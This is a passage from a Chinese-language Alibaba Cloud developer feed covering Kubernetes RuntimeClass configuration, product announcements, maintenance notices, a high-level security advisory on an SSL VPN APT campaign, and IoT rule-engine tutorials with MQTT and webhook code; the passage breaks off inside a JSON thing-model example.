        • HPA 和 VPA 是基于容器级别指标数据做聚合,Pod Overhead 不会对它们造成影响。

        三、多容器运行时示例

        9.png

        目前阿里云 ACK 安全沙箱容器已经支持了多容器运行时,我们以上图所示环境为例来说明一下多容器运行时是怎么工作的。

        如上图所示有两个 Pod,左侧是一个 runc 的 Pod,对应的 RuntimeClass 是 runc,右侧是一个 runv 的Pod,引用的 RuntimeClass 是 runv。对应的请求已用不同的颜色标识了出来,蓝色的代表是 runc 的,红色的代表是 runv 的。图中下半部分,其中比较核心的部分是 containerd,在 containerd 中可以配置多个容器运行时,最终上面的请求也会到达这里进行请求的转发。

        我们先来看一下 runc 的请求,它先到达 kube-apiserver,然后 kube-apiserver 请求转发给 kubelet,最终 kubelet 将请求发至 cri-plugin(它是一个实现了 CRI 的插件),cri-plugin 在 containerd 的配置文件中查询 runc 对应的 Handler,最终查到是通过 Shim API runtime v1 请求 containerd-shim,然后由它创建对应的容器。这是 runc 的流程。

        runv 的流程与 runc 的流程类似。也是先将请求到达 kube-apiserver,然后再到达 kubelet,再把请求到达 cri-plugin,cri-plugin 最终还回去匹配 containerd 的配置文件,最终会找到通过 Shim API runtime v2 去创建 containerd-shim-kata-v2,然后由它创建一个 Kata Pod。

        下面我们再看一下 containerd 的具体配置。

        10.png

        containerd 默认放在 [file:///etc/containerd/config.toml]() 这个位置下。比较核心的配置是在 plugins.cri.containerd 目录下。其中 runtimes 的配置都有相同的前缀 plugins.cri.containerd.runtimes,后面有 runc, runv 两种 RuntimeClass。这里面的 runc 和 runv 和前面 RuntimeClass 对象中 Handler 的名字是相对应的。除此之外,还有一个比较特殊的配置 plugins.cri.containerd.runtimes.default_runtime,它的意思是说,如果一个 Pod 没有指定 RuntimeClass,但是被调度到当前节点的话,那么就默认使用 runc 容器运行时。

        下面的例子是创建 runc 和 runv 这两个 RuntimeClass 对象,我们可以通过 kubectl get runtimeclass 看到当前所有可用的容器运行时。

        11.png

        下图从左至右分别是一个 runc 和 runv 的 Pod,比较核心的地方就是在 runtimeClassName 字段中分别引用了 runc 和 runv 的容器运行时。

        12.png

        最终将 Pod 创建起来之后,我们可以通过 kubectl 命令来查看各个 Pod 容器的运行状态以及 Pod 所使用的容器运行时。我们可以看到现在集群中有两个 Pod:一个是 runc-pod,另一个是 runv-pod,分别引用的是 runc 和 runv 的 RuntimeClass,并且它们的状态都是 Running。

        13.png

        四、本文总结

        本文的主要内容就到此为止了,这里为大家简单总结一下:

        • RuntimeClass 是 Kubernetes 一种内置的集群资源,主要用来解决多个容器运行时混用的问题;
        • RuntimeClass 中配置 Scheduling 可以让 Pod 自动调度到运行了指定容器运行时的节点上。但前提是需要用户提前为这些 Node 设置好 label;
        • RuntimeClass 中配置 Overhead,可以把 Pod 中业务运行所需以外的开销统计进来,让调度、ResourceQuota、Kubelet Pod 驱逐等行为更准确。

        4.7尾图.png

        活动报名链接:https://yqh.aliyun.com/live/CloudNative

        阿里巴巴云原生关注微服务、Serverless、容器、Service Mesh 等技术领域、聚焦云原生流行技术趋势、云原生大规模的落地实践,做最懂云原生开发者的公众号。”

        ]]>
        Alibaba Cloud Native Day | 4 月 18 日杭州场线上直播 Fri, 02 May 2025 09:39:04 +0800 Alibaba Cloud Native Day 将于 4 月 18 日全天进行线上直播!届时,多名阿里技术专家线上齐聚,畅聊 K8s、Serverless 、 OAM 及微服务等实践案例。通过本场活动,您将了解到:

        • 如何用 Start.aliyun.com 5 分钟搭建一套云上应用;
        • 阿里巴巴容器服务 ACK 助力在线教育行业抗击疫情;
        • 阿里巴巴函数计算 Serverless/FaaS 的详解。

        时间:4 月 18 日  9:30 - 16:50
        地点:线上直播
        报名方式:点击进行报名

        详细信息看这里
        4.7直播海报 公众号专用.jpg

        阿里巴巴云原生关注微服务、Serverless、容器、Service Mesh 等技术领域、聚焦云原生流行技术趋势、云原生大规模的落地实践,做最懂云原生开发者的技术圈。”

        ]]>
        Gartner报告:阿里云与AWS并列,容器产品最完善 Fri, 02 May 2025 09:39:04 +0800 近日,国际知名调研机构 Gartner 发布 2020 年容器公有云竞争格局报告,阿里云再度成为国内唯一入选厂商。Gartner 报告显示,阿里云容器服务在中国市场表现强劲,产品形态丰富,在如 Serverless 容器、服务网格、安全沙箱容器、混合云和边缘等领域,具备良好的技术发展策略。

        2020 年 3 月,Gartner 第二次公开《竞争格局:公共云容器服务》年度调研报告,报告针对 Serverless Kubernetes、服务网格、容器镜像等十项功能维度进行对比,阿里云和 AWS 覆盖九项产品能力,产品丰富度领先 Google、微软、IBM 和 Oracle 四家厂商。

        image.png

        阿里云连续两年入选 Gartner 容器报告,一方面是因为阿里云拥有全球第三的市场份额,另一方面是因为其已经拥有近十年的容器技术储备。

        目前,阿里云容器服务(ACK)已在中国及海外 19 个公有云可用区开服,同时也支持客户在自有机房和边缘端的部署使用 Kubernetes。同时,阿里云还提供了丰富的差异化产品:兼容 Istio 的托管版服务网格、基于弹性容器实例的无服务器 Kubernetes(ASK)、提供镜像扫描的独享版容器镜像服务 (ACR)、基于轻量虚拟机技术的安全沙箱容器运行时和托管服务网格(ASM)等等。在此前的 Forrester 公共云容器服务评测中,阿里云作为 Strong Performer 位列国内第一。

        过去几年,容器服务被各行业企业广泛接受,而阿里云凭借业界最丰富的容器产品家族,容器服务已经连续数年规模超 400% 高速增长。如今,阿里云容器服务支撑着上万个集群,数百万容器。这背后离不开的,是阿里云广大云原生客户及阿里集团内部的千锤百炼。容器服务 ACK 以一套架构支撑了外部客户、云产品和阿里巴巴内部核心系统容器化上云。

        2019 年天猫 双11,阿里巴巴核心系统首次实现 100% 上云。面对全球最大的交易洪峰,阿里云扛住了每秒 54.4 万笔的交易峰值,这是“云原生”与“天猫全球狂欢节”的一次完美联名。在新的 双11 来临前,容器镜像服务新增了数 PB 的镜像数据,月均镜像拉取达数亿次。

        同时产品提供了云原生应用交付链等功能,全面覆盖阿里巴巴经济体及云上用户在云原生时代的使用需求。

        容器技术走向成熟,业内方案日趋完整

        Gartner 指出,如今更多的主流企业开始落地容器技术,他们关注的是完整体系化的容器解决方案而非某些单独零散的产品服务。在经典的 Kubernetes 服务之外,同全球一流的技术与服务提供商一样,阿里云也在深耕与 Kubernetes 相关周边领域,比如无服务化容器、混合云、生态体系、aPaaS 集成、安全和自动化 DevOps 等方面。

        这里选取 Gartner 报告中重点提及的三个发展方向:无服务器(Serverless)容器、如服务网格等 aPaaS 组件、容器生态。

        给 Kubernetes 减负,Serverless 容器备受瞩目

        Kubernetes 已经成为业界容器编排系统的事实标准,但不可否认的是,Kubernetes 的复杂性让一些初学者望而却步进退两难。业内厂商因此都开始思考如何通过Serverless 的方式根本性解决 K8s 自身的管理复杂性,让用户无需受困于 K8s 集群容量规划、安全维护、故障诊断。

        Gartner 认为无服务化容器已迅速崛起,并将会在未来的容器领域扮演重要角色。此类产品与底层 IaaS 资源紧密结合,免去用户管理服务器的负担,具备更好的扩缩容能力。阿里云的 Serverless Kubernetes(ASK)、AWS 的 Fargate 和微软云的虚拟节点,不仅可以帮助一线开发者简化容器运行环境,而且也被越来越多企业用于海量规模 Kubernetes 集群的管配。

        阿里云 Serverless Kubernetes 是业界 Kubernetes 兼容性最好的 Serverless Container 服务,其调度容器实例服务 ECI 底层资源,可以实现 10 秒启动容器,30 秒弹性扩容 500 个 pod,轻松支持单集群 1 万个 Pod,弹性能力堪称业界一流。其同时提供了丰富的产品能力,包括镜像缓存、GPU、抢占式 spot 实例等,满足在线业务弹性、数据计算、CI/CD 等多种场景需求。

        着眼于全生命周期,更好支撑基于 Kubernetes 的微服务应用

        Gartner 报告同样指出各公有云容器平台,还提供了如 API 网关、服务网格、安全容器运行时、可观测性等工具,以更好地支撑基于 Kubernetes 的微服务架构及完整的应用生命周期。

        阿里云服务网格是托管式的微服务应用流量统一管理平台,为每个微服务提供一致的流量控制和可观测能力,并支持多个 Kubernetes 集群统一流量管理。而对于更强安全隔离需求的情况,用户可以搭配选用阿里云安全沙箱容器,其拥有独立内核可提供强大安全性,几乎没有性能损耗,在日志、监控、弹性和存储等各方面具备与 Docker 容器一样的用户体验。

        根据不同观测需求,用户可以选择云监控、ARMS Prometheus、ARMS前端监控和日志服务等,实现云资源、容器集群、容器节点、Pod 等指标的完善监控,对集群变更状态、pod 创建拉起删除、组件异常等信息及时告警。

        独木不成林,容器市场生态潜力巨大

        为了方便广大企业获得完整的容器解决方案,Gartner认为第三方软件供应商应与各容器公共云平台紧密合作。第三方软件供应商通过容器市场提供其应用镜像,用户可以一键部署各类所需的标准容器应用。

        阿里云已于 2019 年 9月正式上线容器应用市场,支持容器镜像及 Helm Chart 两类容器应用商品。市场提供开源免费和商业化收费的容器应用商品,用户可以便捷选择并一键部署至 ACK 集群上。目前,容器应用市场已入驻 Fortinet、Intel、驻云、奥哲 等多家合作伙伴,覆盖了从容器应用自身安全监控到容器化部署的商品,便于用户获得完整的容器化解决方案。

        企业正在拥抱云原生

        Gartner 报告曾指出,到 2020 年,将有 50% 的传统老旧应用被以云原生化的方式改造,到 2022 年,将有 75% 的全球化企业将在生产中使用云原生的容器化应用。

        云原生,是指一种构建和运行应用程序的方法,它利用了云计算交付模型的优势。云原生是关于如何创建和部署应用程序,而与在何处创建与部署无关。云原生架构充分利用按需交付、全球部署、弹性和更高级别的服务,极大提高了开发人员的工作效率、业务灵活性、可扩展性、可用性、利用率和成本节约。而容器就是云原生的核心技术之一。

        阿里云容器技术负责人易立指出云原生技术可以为企业带来三大优势:

        • 加速核心架构互联网化。帮助企业IT基础设施更加具备弹性和自治能力,提升业务敏捷性,更加灵活地应对商业发展中的不确定性;
        • 助力业务的数字化、智能化升级。云原生技术与异构算力和大数据、AI技术结合,将释放巨大的威力,把数据资产转变成企业核心竞争力;
        • 随着 5G、AIoT 等技术的成熟,新基建战略将为企业带来全新的创新机遇。云原生技术将推动云边端应用一体协同,构建下一代动态、大规模、无边界的云应用架构。

        如今,阿里云容器服务每天服务数千家企业的业务系统,上万个集群和数百万容器支撑这各行各业特点各异的服务。

        以云原生大数据及 AI 场景为例,微博使用容器服务 ACK,实时计算的性能较开源方案提升 2.4 倍,实现百亿级样本和万亿维度超大规模系数模型。

        工业领域的百年老店西门子,已经通过云原生突破传统模式上线周期长、扩容难、运维难等难题,仅用半年多时间就在阿里云上部署起物联网平台 MindSphere,为制造企业提供快速的数字化改造和迁移服务。

        新冠疫情期间,百家云、洋葱学院、希沃课堂等数家企业基于容器服务扩容十倍甚至数十倍应对流量洪峰,支撑千万学生在线学习。此外,2020 年 1月华大基因和阿里云联合宣布,基于阿里云容器服务的基因计算服务 AGS通过异构算力的高效调度和算法创新可以实现计算百倍加速,15 分钟完成个人全基因组测序;疫情爆发后,阿里云还面向全球免费开放基因计算服务 AGS,60 秒内即可获得数千种已知病毒基因(包括冠状病毒等)比对结果。

        阿里云在云原生领域的投入广泛而深入,在容器、服务网格和 Serverless 均有丰富的产品服务,目前阿里云已经拥有国内最丰富的云原生产品家族、最全面的云原生开源贡献、最大规模的云原生应用实践、最大的云原生客户群体。

        经过 9 年的内部技术实践,阿里云已拥有国内最丰富的云原生产品家族,覆盖八大类别 20 余款产品,涵盖底层基础设施、数据智能、分布式应用等,可以满足不同行业场景的需求。

        image1.png

        “新基石、新算力、新生态‘是容器产品发展策略”,易立称,“云原生技术正成为释放云价值的最短路径,团队会帮助企业更好支撑混合云、云边一体的分布式云架构和全球化应用交付。基于云原生的软硬一体化技术创新,如神龙架构,含光芯片,GPU共享调度等,阿里云将加速业务智能化升级。同时我们还会通过开放技术生态和全球合作伙伴计划,让更多企业分享云时代技术红利。”

        ]]>
        【升级】4月8日域名、虚机订单系统升级维护公告 Fri, 02 May 2025 09:39:04 +0800

        【阿里云】【域名】【虚机】【订单系统维护】

        维护时间:北京时间2020年4月8日 00:00 – 03:00

        维护内容:阿里云域名、虚机订单系统将于上述时间进行后台维护升级。

        维护影响:届时域名、虚机等产品的购买、续费等订单,将会无法支付。在此期间会对您造成的具体影响如下:

        1、通过PC/APP/H5普通下单流程提交的域名注册、续费、赎回、转入、万网预订等操作和虚机购买、续费等操作无法进行订单支付。升级期间如果已经下单,在升级过后可以继续支付,支付路径“控制台--费用中心--万网产品订单--未付款订单”。

        2、通过API/控制台批量操作提交的域名注册、续费、赎回、转入等操作的,无法提交成功,请您避开系统升级维护时间进行操作。

        3、您提交的一口价(优选)、域名抢注、保留词一口价等购买操作,无法完成订单支付,请避开系统升级维护时间进行订单支付操作。

        一口价(万网)、域名竞价交易、域名带价push交易理论上不受此次系统维护影响;域名过户、实名认证等不涉及订单支付的管理操作不受影响。

        请您避开系统升级维护时间进行相关操作,由此给您造成的不便,敬请谅解!

        ]]>
        【升级】4月8日Donuts注册局维护通知 Fri, 02 May 2025 09:39:04 +0800

        【阿里云】【域名】【注册局 / 注册商维护通知】

        维护时间:北京时间2020年4月8日 01:00 - 05:00

        维护内容:接到注册局的通知,注册局 / 注册商将于上述时间对后台系统进行维护升级。

        维护影响:届时,您的 .ltd/.group/.pub/.live/.rocks/.band/.market/.software/.social/.lawyer/.engineer/.news/.video/.studio/.today /.plus/.world/.run/.show/.city/.gold/.today/.cool 等域名的续费、转入转出、信息修改和过户域名等操作,将会无法使用,在此期间会对您造成的影响如下:

        1、您提交的续费、转入、转出域名等操作在支付费用后状态为“处理中”,且可能出现“不成功”等状态;

        2、维护过程中您无法对域名注册信息进行修改,将提示修改失败。

        如果您需要注册或管理以上业务操作,建议您避开该时间段,以免给您的业务造成影响。

        如您的业务操作失败,建议维护后再次尝试。

        由此给您带来的不便,我们表示歉意,敬请谅解。

        ]]>
        【风险预警】深信服SSL VPN被境外非法组织利用发起APT攻击风险 Fri, 02 May 2025 09:39:04 +0800

        2020年4月6日,深信服官方发布一起《关于境外非法组织利用深信服SSL VPN设备下发恶意文件并发起APT攻击活动》的事件,风险较大。


        漏洞描述

        在深信服科技的事件通报中披露了一起APT攻击行动。该APT行动中,境外非法组织通过非法手段控制部分深信服SSL VPN设备,并利用客户端升级漏洞下发恶意文件到客户端的APT攻击活动。攻击者在获取控制深信服SSL VPN设备的权限后,可以利用SSL VPN设备Windows客户端升级模块签名验证机制的缺陷,从而下发恶意文件并进行下一步利用。阿里云应急响应中心提醒深信服VPN用户尽快采取安全措施,联系官方寻求技术排查和漏洞修复。


        影响版本

        M6.3R1

        M6.1


        安全建议

        建议用户尽快采用止损操作规避风险:关闭ssl vpn相关端口,可直接kill进程或使用阿里云安全组功能,然后联系深信服官方寻求技术排查和漏洞修复。


        相关链接

        《关于境外非法组织利用深信服SSL VPN设备下发恶意文件并发起APT攻击活动》



        我们会关注后续进展,请随时关注官方公告。

        如有任何问题,可随时通过工单或服务电话95187联系反馈。

        阿里云应急响应中心

        2020.04.06


        ]]>
        阿里云物联网平台规则引擎综述-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800

        作者:俏巴

        概述


        使用物联网平台规则引擎的数据流转功能,当设备基于Topic进行通信时,您可以在规则引擎的数据流转中,编写SQL对Topic中的数据进行处理,并配置转发规则将处理后的数据转发到其他设备Topic或阿里云其他服务。针对官方文档目前这部分示例介绍的比较简单,数据转发部分介绍的较少,本文对规则引擎常见的使用场景做一个整理,方便使用者结合自己的业务场景参考。


        原理图

        _


        数据流转实例

        阿里云物联网平台数据转发到DataHub示例
        阿里云物联网平台数据转发到函数计算示例
        阿里云物联网平台设备上下线信息通过规则引擎流转到RDS示例
        阿里云物联网平台设备数据转发到消息队列RocketMQ全链路测试
        阿里云物联网平台数据转发到表格存储(Table Store)示例参考
        阿里云物联网平台数据转发到消息服务(MNS)示例
        阿里云物联网平台数据转发到时序时空数据库(TSDB)示例


        参考链接


        云产品流转概述
        SQL表达式
        数据流转使用示例

                                                                </div>
        ]]>
        阿里云物联网平台数据转发到DataHub示例-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800

        作者:俏巴

        概述


        您可以使用规则引擎将数据转到DataHub上,再由DataHub将数据流转至实时计算、MaxCompute等服务中,以实现更多计算场景。本文主要演示通过规则引擎将消息流转到DataHub,并通过Dataconnector 将消费流转到MaxCompute的表。


        Step By Step


        物联网平台创建产品和设备

        _


        参考链接:产品及设备准备部分。


        创建DataHub Project 和 Topic

        1、创建Datahub Project
        _


        2、创建Topic
        _


        规则引擎配置

        1、创建规则引擎、配置处理数据


        参考链接 规则引擎配置配置部分。


        2、配置转发数据
        _
        _


        3、启动设备端SDK,消息流转
        _


        4、流转日志查询


        _


        创建Dataconnector

        1、maxcompute创建表


        CREATE TABLE datahubforiot (
        <span class="hljs-string">`devicename`</span> string,
        <span class="hljs-string">`humidity`</span> string,
        <span class="hljs-string">`temperature`</span> string,
        <span class="hljs-string">`time`</span> string

        )
        PARTITIONED BY (ds string,hh string,mm string)
        LIFECYCLE 100;


        2、创建Dataconnector


        _


        _


        _


        _


        3、Dataworks SQL任务查询


        _


        参考链接


        数据转发到DataHub

        ]]>
        阿里云物联网平台数据转发到函数计算示例-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800

        作者:俏巴

        概述


        使用物联网平台规则引擎的数据流转功能,可将Topic中的数据消息转发至其他Topic或其他阿里云产品进行存储或处理。本文主要演示通过规则引擎将设备上行消息流转到函数计算,并通过函数计算发送消息到钉钉机器人。


        Step By Step


        产品及设备准备



        1、创建产品
        _


        2、定义物模型
        _


        3、添加设备
        _


        _


        4、使用SDK 上行消息,参考链接:基于开源JAVA MQTT Client连接阿里云IoT


        import com.alibaba.taro.AliyunIoTSignUtil;
        import com.google.common.util.concurrent.ThreadFactoryBuilder;
        import org.eclipse.paho.client.mqttv3.*;
        import org.eclipse.paho.client.mqttv3.persist.MemoryPersistence;
        import java.util.HashMap;
        import java.util.Map;
        import java.util.concurrent.ScheduledExecutorService;
        import java.util.concurrent.ScheduledThreadPoolExecutor;
        import java.util.concurrent.TimeUnit;

        public class IoTDemoPubSubDemo {

        <span class="hljs-comment">// 设备三元组信息</span>
        public <span class="hljs-keyword">static</span> <span class="hljs-built_in">String</span> productKey = <span class="hljs-string">"a16MX********"</span>;
        public <span class="hljs-keyword">static</span> <span class="hljs-built_in">String</span> deviceName = <span class="hljs-string">"device1"</span>;
        public <span class="hljs-keyword">static</span> <span class="hljs-built_in">String</span> deviceSecret = <span class="hljs-string">"YGLHxUr40E1JaWhk3IVAm0uk********"</span>;
        public <span class="hljs-keyword">static</span> <span class="hljs-built_in">String</span> regionId = <span class="hljs-string">"cn-shanghai"</span>;
        
        <span class="hljs-comment">// 物模型-属性上报topic</span>
        private <span class="hljs-keyword">static</span> <span class="hljs-built_in">String</span> pubTopic = <span class="hljs-string">"/sys/"</span> + productKey + <span class="hljs-string">"/"</span> + deviceName + <span class="hljs-string">"/thing/event/property/post"</span>;
        <span class="hljs-comment">// 自定义topic,在产品Topic列表位置定义</span>
        private <span class="hljs-keyword">static</span> <span class="hljs-built_in">String</span> subTopic = <span class="hljs-string">"/sys/"</span> + productKey + <span class="hljs-string">"/"</span> + deviceName + <span class="hljs-string">"/thing/event/property/post_reply"</span>;
        
        private <span class="hljs-keyword">static</span> MqttClient mqttClient;
        
        public <span class="hljs-keyword">static</span> <span class="hljs-keyword">void</span> main(<span class="hljs-built_in">String</span> [] args){
        
            initAliyunIoTClient();
            ScheduledExecutorService scheduledThreadPool = <span class="hljs-keyword">new</span> ScheduledThreadPoolExecutor(<span class="hljs-number">1</span>,
                    <span class="hljs-keyword">new</span> ThreadFactoryBuilder().setNameFormat(<span class="hljs-string">"thread-runner-%d"</span>).build());
        
            scheduledThreadPool.scheduleAtFixedRate(()-&gt;postDeviceProperties(), <span class="hljs-number">10</span>,<span class="hljs-number">5</span>, TimeUnit.SECONDS);
        
            <span class="hljs-keyword">try</span> {
                mqttClient.subscribe(subTopic); <span class="hljs-comment">// 订阅Topic</span>
            } <span class="hljs-keyword">catch</span> (MqttException e) {
                System.out.println(<span class="hljs-string">"error:"</span> + e.getMessage());
                e.printStackTrace();
            }
        
            <span class="hljs-comment">// 设置订阅监听</span>
            mqttClient.setCallback(<span class="hljs-keyword">new</span> MqttCallback() {
                @Override
                public <span class="hljs-keyword">void</span> connectionLost(Throwable throwable) {
                    System.out.println(<span class="hljs-string">"connection Lost"</span>);
        
                }
        
                @Override
                public <span class="hljs-keyword">void</span> messageArrived(<span class="hljs-built_in">String</span> s, MqttMessage mqttMessage) throws Exception {
                    System.out.println(<span class="hljs-string">"Sub message"</span>);
                    System.out.println(<span class="hljs-string">"Topic : "</span> + s);
                    System.out.println(<span class="hljs-keyword">new</span> <span class="hljs-built_in">String</span>(mqttMessage.getPayload())); <span class="hljs-comment">//打印输出消息payLoad</span>
                }
        
                @Override
                public <span class="hljs-keyword">void</span> deliveryComplete(IMqttDeliveryToken iMqttDeliveryToken) {
        
                }
            });
        
        }
        
        <span class="hljs-comment">/**
         * 初始化 Client 对象
         */</span>
        private <span class="hljs-keyword">static</span> <span class="hljs-keyword">void</span> initAliyunIoTClient() {
        
            <span class="hljs-keyword">try</span> {
                <span class="hljs-comment">// 构造连接需要的参数</span>
                <span class="hljs-built_in">String</span> clientId = <span class="hljs-string">"java"</span> + System.currentTimeMillis();
                <span class="hljs-built_in">Map</span>&lt;<span class="hljs-built_in">String</span>, <span class="hljs-built_in">String</span>&gt; params = <span class="hljs-keyword">new</span> HashMap&lt;&gt;(<span class="hljs-number">16</span>);
                params.put(<span class="hljs-string">"productKey"</span>, productKey);
                params.put(<span class="hljs-string">"deviceName"</span>, deviceName);
                params.put(<span class="hljs-string">"clientId"</span>, clientId);
                <span class="hljs-built_in">String</span> timestamp = <span class="hljs-built_in">String</span>.valueOf(System.currentTimeMillis());
                params.put(<span class="hljs-string">"timestamp"</span>, timestamp);
                <span class="hljs-comment">// cn-shanghai</span>
                <span class="hljs-built_in">String</span> targetServer = <span class="hljs-string">"tcp://"</span> + productKey + <span class="hljs-string">".iot-as-mqtt."</span>+regionId+<span class="hljs-string">".aliyuncs.com:1883"</span>;
        
                <span class="hljs-built_in">String</span> mqttclientId = clientId + <span class="hljs-string">"|securemode=3,signmethod=hmacsha1,timestamp="</span> + timestamp + <span class="hljs-string">"|"</span>;
                <span class="hljs-built_in">String</span> mqttUsername = deviceName + <span class="hljs-string">"&amp;"</span> + productKey;
                <span class="hljs-built_in">String</span> mqttPassword = AliyunIoTSignUtil.sign(params, deviceSecret, <span class="hljs-string">"hmacsha1"</span>);
        
                connectMqtt(targetServer, mqttclientId, mqttUsername, mqttPassword);
        
            } <span class="hljs-keyword">catch</span> (Exception e) {
                System.out.println(<span class="hljs-string">"initAliyunIoTClient error "</span> + e.getMessage());
            }
        }
        
        public <span class="hljs-keyword">static</span> <span class="hljs-keyword">void</span> connectMqtt(<span class="hljs-built_in">String</span> url, <span class="hljs-built_in">String</span> clientId, <span class="hljs-built_in">String</span> mqttUsername, <span class="hljs-built_in">String</span> mqttPassword) throws Exception {
        
            MemoryPersistence persistence = <span class="hljs-keyword">new</span> MemoryPersistence();
            mqttClient = <span class="hljs-keyword">new</span> MqttClient(url, clientId, persistence);
            MqttConnectOptions connOpts = <span class="hljs-keyword">new</span> MqttConnectOptions();
            <span class="hljs-comment">// MQTT 3.1.1</span>
            connOpts.setMqttVersion(<span class="hljs-number">4</span>);
            connOpts.setAutomaticReconnect(<span class="hljs-literal">false</span>);

        // connOpts.setCleanSession(true);

            connOpts.setCleanSession(<span class="hljs-literal">false</span>);
        
            connOpts.setUserName(mqttUsername);
            connOpts.setPassword(mqttPassword.toCharArray());
            connOpts.setKeepAliveInterval(<span class="hljs-number">60</span>);
        
            mqttClient.connect(connOpts);
        }
        
        <span class="hljs-comment">/**
         * 汇报属性
         */</span>
        private <span class="hljs-keyword">static</span> <span class="hljs-keyword">void</span> postDeviceProperties() {
        
            <span class="hljs-keyword">try</span> {
                <span class="hljs-comment">//上报数据</span>
                <span class="hljs-comment">//高级版 物模型-属性上报payload</span>
                System.out.println(<span class="hljs-string">"上报属性值"</span>);
                <span class="hljs-built_in">String</span> payloadJson = <span class="hljs-string">"{"params":{"CurrentTemperature":13,"Humidity":10}}"</span>;
                MqttMessage message = <span class="hljs-keyword">new</span> MqttMessage(payloadJson.getBytes(<span class="hljs-string">"utf-8"</span>));
                message.setQos(<span class="hljs-number">1</span>);
                mqttClient.publish(pubTopic, message);
            } <span class="hljs-keyword">catch</span> (Exception e) {
                System.out.println(e.getMessage());
            }
        }

        }


        5、运行状态查看
        _




        函数计算创建与配置

        1、创建应用
        _


        _


        2、应用下面添加函数


        _


        _


        3、编辑脚本


        const https = require('https');

        const accessToken = '填写accessToken,即钉钉机器人webhook的accessToken';
        module.exports.handler = function(event, context, callback) {
        var eventJson = JSON.parse(event.toString());
        console.log(event.toString());
        //钉钉消息格式
        const postData = JSON.stringify({
        "msgtype": "markdown",
        "markdown": {
        "title": "设备温湿度传感器",
        "text": "#### 温湿度传感器上报n" +
        "> 设备名称:" + eventJson.deviceName+ "nn" +
        "> 实时温度:" + eventJson.Temperature + "℃nn" +
        "> 相对湿度:" + eventJson.Humidity + "%nn" +
        "> ###### " + eventJson.time + " 发布 by 物联网平台 n"
        },
        "at": {
        "isAtAll": false
        }
        });
        const options = {
        hostname: 'oapi.dingtalk.com',
        port: 443,
        path: '/robot/send?access_token=' + accessToken,
        method: 'POST',
        headers: {
        'Content-Type': 'application/json',
        'Content-Length': Buffer.byteLength(postData)
        }
        };
        const req = https.request(options, (res) => {
        res.setEncoding('utf8');
        res.on('data', (chunk) => {});
        res.on('end', () => {
        callback(null, 'success');
        });
        });
        // 异常返回
        req.on('error', (e) => {
        callback(e);
        });
        // 写入数据
        req.write(postData);
        req.end();
        };


        钉钉机器人webhook的accessToken获取参考链接:阿里云IoT Studio服务开发定时关灯功能示例Demo: 2.3 钉钉机器人Webhook获取 部分。


        4、快速测试
        _


        _




        规则引擎配置

        1、创建规则引擎
        _


        2、配置处理数据


        _


        SQL字段


        deviceName() as deviceName, items.Humidity.value as Humidity, items.CurrentTemperature.value as Temperature, timestamp('yyyy-MM-dd HH:mm:ss') as time

        3、配置转发数据


        _


        4、启动设备端SDK,周期性上行消息,钉钉群查看通知


        _


        5、上行日志查看


        _


        参考链接


        温湿度计上报数据到钉钉群机器人

        ]]>
        阿里云数据分析最佳实践:二维数据可视化 + 设备数据下发-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800

        作者:俏巴

        概述


        物联网数据分析,又称Link Analytics,是阿里云为物联网开发者提供的设备智能分析服务,全链路覆盖了设备数据生成、管理(存储)、清洗、分析及可视化等环节。有效降低数据分析门槛,助力物联网开发工作。这里分别演示通过二维数据可视化功能展示设备位置 + 通过数据分析实现定时下发数据到设备。


        Step By Step


        1、创建产品,导入物模型,参考链接


        物模型json内容


        {
        "schema": "https://iotx-tsl.oss-ap-southeast-1.aliyuncs.com/schema.json",
        "profile": {
        <span class="hljs-string">"productKey"</span>: <span class="hljs-string">"a1kVHWEOsM2"</span>

        },
        "properties": [

        {
          <span class="hljs-string">"identifier"</span>: <span class="hljs-string">"GeoLocation"</span>,
          <span class="hljs-string">"name"</span>: <span class="hljs-string">"地理位置"</span>,
          <span class="hljs-string">"accessMode"</span>: <span class="hljs-string">"rw"</span>,
          <span class="hljs-string">"required"</span>: <span class="hljs-literal">true</span>,
          <span class="hljs-string">"dataType"</span>: {
            <span class="hljs-string">"type"</span>: <span class="hljs-string">"struct"</span>,
            <span class="hljs-string">"specs"</span>: [
              {
                <span class="hljs-string">"identifier"</span>: <span class="hljs-string">"Longitude"</span>,
                <span class="hljs-string">"name"</span>: <span class="hljs-string">"经度"</span>,
                <span class="hljs-string">"dataType"</span>: {
                  <span class="hljs-string">"type"</span>: <span class="hljs-string">"double"</span>,
                  <span class="hljs-string">"specs"</span>: {
                    <span class="hljs-string">"min"</span>: <span class="hljs-string">"-180"</span>,
                    <span class="hljs-string">"max"</span>: <span class="hljs-string">"180"</span>,
                    <span class="hljs-string">"unit"</span>: <span class="hljs-string">"°"</span>,
                    <span class="hljs-string">"unitName"</span>: <span class="hljs-string">"度"</span>,
                    <span class="hljs-string">"step"</span>: <span class="hljs-string">"0.01"</span>
                  }
                }
              },
              {
                <span class="hljs-string">"identifier"</span>: <span class="hljs-string">"Latitude"</span>,
                <span class="hljs-string">"name"</span>: <span class="hljs-string">"纬度"</span>,
                <span class="hljs-string">"dataType"</span>: {
                  <span class="hljs-string">"type"</span>: <span class="hljs-string">"double"</span>,
                  <span class="hljs-string">"specs"</span>: {
                    <span class="hljs-string">"min"</span>: <span class="hljs-string">"-90"</span>,
                    <span class="hljs-string">"max"</span>: <span class="hljs-string">"90"</span>,
                    <span class="hljs-string">"unit"</span>: <span class="hljs-string">"°"</span>,
                    <span class="hljs-string">"unitName"</span>: <span class="hljs-string">"度"</span>,
                    <span class="hljs-string">"step"</span>: <span class="hljs-string">"0.01"</span>
                  }
                }
              },
              {
                <span class="hljs-string">"identifier"</span>: <span class="hljs-string">"Altitude"</span>,
                <span class="hljs-string">"name"</span>: <span class="hljs-string">"海拔"</span>,
                <span class="hljs-string">"dataType"</span>: {
                  <span class="hljs-string">"type"</span>: <span class="hljs-string">"double"</span>,
                  <span class="hljs-string">"specs"</span>: {
                    <span class="hljs-string">"min"</span>: <span class="hljs-string">"0"</span>,
                    <span class="hljs-string">"max"</span>: <span class="hljs-string">"9999"</span>,
                    <span class="hljs-string">"unit"</span>: <span class="hljs-string">"m"</span>,
                    <span class="hljs-string">"unitName"</span>: <span class="hljs-string">"米"</span>,
                    <span class="hljs-string">"step"</span>: <span class="hljs-string">"0.01"</span>
                  }
                }
              },
              {
                <span class="hljs-string">"identifier"</span>: <span class="hljs-string">"CoordinateSystem"</span>,
                <span class="hljs-string">"name"</span>: <span class="hljs-string">"坐标系统"</span>,
